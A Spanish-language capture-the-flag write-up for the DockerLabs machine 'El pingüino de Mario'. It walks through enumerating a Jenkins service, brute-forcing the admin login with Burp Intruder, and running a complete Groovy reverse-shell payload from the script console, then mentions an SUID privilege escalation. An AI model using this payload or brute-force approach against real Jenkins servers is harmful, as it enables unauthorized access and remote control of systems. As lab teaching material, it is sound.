Hola, ¿Vienes por CTF? Aquí lo tienes.
Pero antes, gracias al autor de maquina "El pingüino de Mario" y a la comunidad de DockerLabs.es, por hacer esto posible.
Descripción de la maquina.
Sistema Operativo | Linux 🐧 |
Dificultad | Medio |
Lanzamiento | 14/04/2024 |
Creador | El pingüino de Mario |
Enumeración
Empecemos con un escaneo a los puertos y servicios de la maquina con nmap
, si desea obtener mas información sobre los parámetros en algunos de los comandos que se utilizara mas adelante, puede usar explianshell.com
Bien, solo tenemos un servicio y es un Jenkins.
Bueno un login, pero, uno de los scripts básicos de enumeración de nmap
encontró el archivo robots.txt
veamos su contenido.
¿Que entre a la ruta build
, dice?
Pero nada, solo obtenemos el login, vamos a realizar un fuzzing
con gobuster
en busca de directorios o archivos.
gobuster dir -u http://172.17.0.2:8080/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,java,txt,css,js,php -t 100 -b 403
Y tenemos como resultado algunas rutas, pero nada de utilidad.
Dicho esto vamos a hacer fuerza bruta contra el login, no tenemos usuarios y mucho menos contraseñas, así que llevara algo de tiempo.
Perooo, jenkins maneja un usuario por defecto, que es "admin" así que iremos a por el.
Fuerza Bruta
Bien, para esto vamos interceptar la petición de login con burpsuite
para mandarla al intruder
, cabe mencionar que este brute force
, lo intente con hydra
y metasploit
pero no tuve el mismo resultado.
Pero continuando con el intruder
de burpsuite
Cargamos una lista de contraseñas.
Y por ultimo hacemos un regex de la respuesta, para determinar si las credenciales son validas o no.
En el caso de que las credenciales sean invalidas tendremos esta respuesta, en donde el valor de un header es loginError
Cuando las credenciales sean validas no debería de devolver este valor, si no uno diferente.
Teniendo esto en cuenta utilizaremos este loginError
para determinar si las credenciales son validas. Para esto no vamos al intruder->settings->Grep - Extract
En donde marcamos Extract from regex group
y seleccionamos el loginError
e iniciamos el ataque.
Y como podemos ver, tenemos una respuesta que que es diferente a nuestra sentencia regex, la cual indica que se obtuvo un resultado la contraseña rockyou
... Comprobemos
En el apartado Administrar Jenkins->Tools and actions, tenemos la consola de scripts
La cual nos permite ejecutar scripts en groovy
, que tal si ejecutamos una reverse shell
con groovy.
String host="172.17.0.2";
int port=8003;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Y aquí lo tenemos.
Escalada de privilegios
Explorando el sistema me tope con un binario, el cual tiene permiso SUID, raro...
Así que... Vamos a gtfobins.
Y en efecto podemos abusar de este para escalar privilegios, así que lo hacemos.
Y ahí lo tiene, eso fue todo. Hasta luego mi estimado!!
Referencias